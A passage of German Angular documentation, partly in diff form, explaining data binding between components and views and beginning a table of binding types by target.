sich auf den Prozess der Kommunikation zwischen einer Komponente und ihrer entsprechenden Ansicht. Es wird verwendet, um Daten an das Angular-Framework zu übertragen und von diesem zu empfangen. Daten können auf verschiedene Weise übergeben werden, z. B. über Ereignisse, Interpolation, Eigenschaften oder über den Mechanismus der bidirektionalen Bindung. Darüber hinaus können Daten auch zwischen verwandten Komponenten (Eltern-Kind-Beziehung) und zwischen zwei nicht verwandten Komponenten mithilfe der Service-Funktion geteilt werden. Wir können Binding nach Datenfluss klassifizieren: @@ -74,18 +74,18 @@ Wir können Binding nach Datenfluss klassifizieren: Binding kann auf Eigenschaften, Ereignisse und Attribute sowie auf jedes öffentliche Mitglied einer Quellrichtlinie angewendet werden: -| TYP | ZIEL | BEISPIELE | -| -------- | -------------------------------------------------------- | ------------------------------------------------------------------ | -| Eigenschaft | Elementeigenschaft, Komponenteneigenschaft, Direktiveigenschaft | \ | -| Ereignis | Elementereignis, Komponenteneignis, Direktivereignis | \